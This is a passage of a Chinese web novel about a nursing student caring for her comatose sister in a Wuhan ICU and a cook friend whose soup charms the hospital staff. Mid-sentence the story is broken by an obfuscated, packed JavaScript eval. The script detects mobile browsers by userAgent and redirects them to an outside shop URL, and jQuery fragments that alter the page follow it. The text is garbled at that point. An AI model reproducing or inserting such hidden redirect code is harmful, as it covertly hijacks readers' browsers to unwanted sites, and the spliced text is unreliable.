六月底的武汉，天亮得早，热气也来得猛。不到八点，阳光已经白花花地铺了一地，晒得路面浮起一层氤氲的油光。
静飞踩着热浪走进学校行政楼，背上的衣服已经被汗洇湿了一小块，她的帆布鞋底敲击水磨石地面，发出清晰又孤单的嗒嗒声。一位五十多岁的女老师，戴着老花镜，从镜片上方打量她。“护理系的？去哪个医院见习？”
“同济，神经外科监护室。”静飞把学生证和系里证明递过去。
老师嗯了一声，翻看证明，又抬头看看她，没多问，只低声说：“家里有病人？”
静飞点点头。
老师便不再言语，低下头，在公章上哈了口气，然后按下去，红印油在申请表的右下角洇开一个清晰的圆圈。她从抽屉里拿出一本见习手册。“拿着吧。不容易，照顾好自己。”
“谢谢老师。”静飞接过那张纸，小心地对折好，放进书包内层，转身走出行政楼，重新扎进那片白炽的阳光里。
“燕记”门口的卷闸门只拉起了一半，里面飘散出食物熬煮的香气。
她弯下腰，看见段燕予正在灶台前忙活。他背对着门口，肩膀的线条随着搅动汤勺的动作微微起伏。
静飞直起身，抬手在卷闸门上轻轻叩了两下。金属清脆的震颤声让段燕予回过头。
看清是她，他走过来把卷闸门拉开，手里的大勺指了指旁边：“你的汤在那边，煨好了。”
墙角的煤炉上，坐着一个深褐色的铫子，盖着木盖，缝隙里逸出一缕极醇厚、带着肉香和藕香的蒸汽，与店里大锅的混杂气味截然不同，这是真正的私房菜。
“谢谢燕子哥！”静飞走过去，手指触到铫子的提梁，温热，但不烫手。她小心翼翼地把它提下来，把汤装到两个干净的保温桶里。
“饭盒里有炒菜苔和米饭，你中午吃。”段燕予的声音从身后传来。
静飞嗯了一声，转过身看着他，想说点什么，比如问问他摩托还了没有，这个汤要多少钱，但话到嘴边，又觉得都是多余的。
“那我走了。”最后，她只是这么说。
“我送你。”
“燕子哥，你忙，我坐公交车很方便。”
“东西太多，再送你一次吧。”
他没有骑摩托车，帮静飞拎着东西，一起坐公交车去了医院，把两个保温桶交给护士长。护士长当时以为她只是随口客气一下，没想到她把汤端了这么远的路过来。
真是个实在孩子啊！
她揭开盖子闻了闻，脸上露出真切的笑容：“哎呀，真香！你这位朋友手艺真是……！”她翘起大拇指。
静飞笑着点点头，心里有一点隐秘的骄傲，就像听见别人夸姐姐是高材生时一样。
午饭时间，护士长把保温桶里的汤，分给科室里的护士喝，大家赞不绝口。
“这汤…真好喝！比我妈做的都香。”
“小骆，你朋友这手艺，不开饭店可惜了。”
静飞小口吃着自己饭盒里的菜苔和米饭，眉眼弯弯的应道：“对，是开了个小饭店。”
“就说嘛。苍蝇馆子最好吃，最地道！”
“能不能问问，这汤怎么煨的？”有人求知欲爆棚。
“好像…藕要选粉藕，排骨要先焯透，用铫子小火慢煨。”静飞回忆着段燕予说过的话。
“铫子？现在哪还有人用那个。”护士长摇摇头，“难怪这么好喝。”
大三下学期的最后几天，日子像被压紧的弹簧。她的时间被精确地切割：上午上课；中午随便在食堂扒拉两口，坐一个半小时公交车，在下午三点前赶到硚口区的医院，监护室的一小时里，尽管姐姐毫无反应，她还是坚持擦洗、按摩、说话；再坐一个半小时公交车回到青山区，晚上，在室友带回的笔记和书本构成的世界继续战斗。睡眠成了奢侈品，眼圈下的青黑像两片褪不去的阴影。
段燕予那辆借来的摩托，偶尔会在她最狼狈的时候出现。一般是她下午换乘的公交站，她拖着灌了铅似的腿走下车，发现他就等在斜对面的路牌下，车子熄着火，人抽着烟，看见她，简短地说：“上来。”
傍晚，燥热的风吹不散疲惫。她累的很少说话，引擎声填补了沉默。他总会把她放在离学校还有一小段距离的地方。
期末考试成绩出来，不高，平均七十多分，在班里平平无奇，但每一科后面，都跟着两个确凿的字：合格。这就够了，她已经拼尽全力。
学校正式放暑假那天，校园几乎一夜之间就空了。喧嚣的人声、自行车铃声、广播站的音乐，像退潮一样迅速消失，只剩下知了猖狂的鸣叫。
静飞搬进了医院隔壁学校里姐姐的宿舍，一个四人间，此刻只住了她一人，显得格外冷清。
她的身份也从“家属”，变成了“见习护士”。她的工作琐碎而具体：在带教老师的指导下，学习记录生命体征，观摩吸痰、鼻饲等操作，帮着整理床单位，搬运物资。最重要的是，她被允许在老师监管下，亲自为姐姐做基础护理：温水擦浴，每两小时一次翻身、叩背，按摩四肢关节防止萎缩。
姐姐静静地躺在那里，身上连着各种管线，像个精致又脆弱的人形标本。静飞给她擦身时，动作会放得极轻，手指拂过那些日渐消瘦的骨骼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952488|192798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轮廓，眼泪掉出来。
“静飞，护士不能带情绪上班。”
护士长轻轻压了压她的肩头。
慢慢的，她学会了像真正的护士一样，把情绪压在工作服的硬挺面料之下。
段燕予每周过来送一次饭，但具体时间不固定，他穿着普通的T恤长裤，在医院这种满是专业制服的环境里，身上的市井气息格外突出，甚至有点格格不入。
那时候没有外卖，医院的实习同学和见习同学，一项最重要的工作，就是给各位老师跑腿买饭。自从静飞开始在ICU见习后，整个科室的医生护士嘴巴都开始有点刁。
“小王啊，不要再买那家的排骨，太油腻了。”
“老师，你上周还说这个油炸排骨是你毕生挚爱！”
“是啊，变心太快了吧？”
“静飞啊，你那个朋友，什么时候还来送饭，临床的老师有份吗？”
“主任！我们都不够分！”护士长霸着两个保温桶不放手。
“他不是做盒饭在青山区送吗？再过来时，也给科室订二十份，我请客！”
“静飞，你是不是他女朋友？不是？太好了……”
“那他有没有女朋友？大五六岁的姐姐考虑不考虑？”
“性别不要卡这么死，哥哥也不是不可以！”
静飞正喝着汤，一个忍不住都笑喷出来：“老师，要不你申请调到我们附属医院？他店就在旁边。”。
“换单位？不至于，不至于！”冉冉升起的神外之星大惊失色：“我周末过去吃好了，不如让他在这片开个分店？”
“燕子哥，老师们吃你做的菜上瘾，让你来硚口区开分店。”
“哪有那么容易！地头不熟悉，资金周转不过来。”
“上次他们要了这么多，你们得来两个人送，能不能行？”
“反正暑假店里吃饭的人不多，主要也还是盒饭业务，就跑呗…”
“笤帚过来时，跟我抱怨，说你又请了大厨，疙瘩升级做店长，只有他还是小跑腿。”
段燕予笑了：“这也跟你说，是请了人，不然忙不过来了。”
“那别往这边跑了，还有一周就开学了。”
“行吧！”
“开学我妈就把我和姐姐的钱都打过来了，我给你把饭钱结一下。”
“静飞！”
“拜托拜托！我妈不让我白吃…”静飞扯扯他衣角。
“…那行吧！”
他有点生气，又有点沮丧。
他们之间，好像依旧隔着那段摩托车上一个书包的距离，没有更近，也没有更远。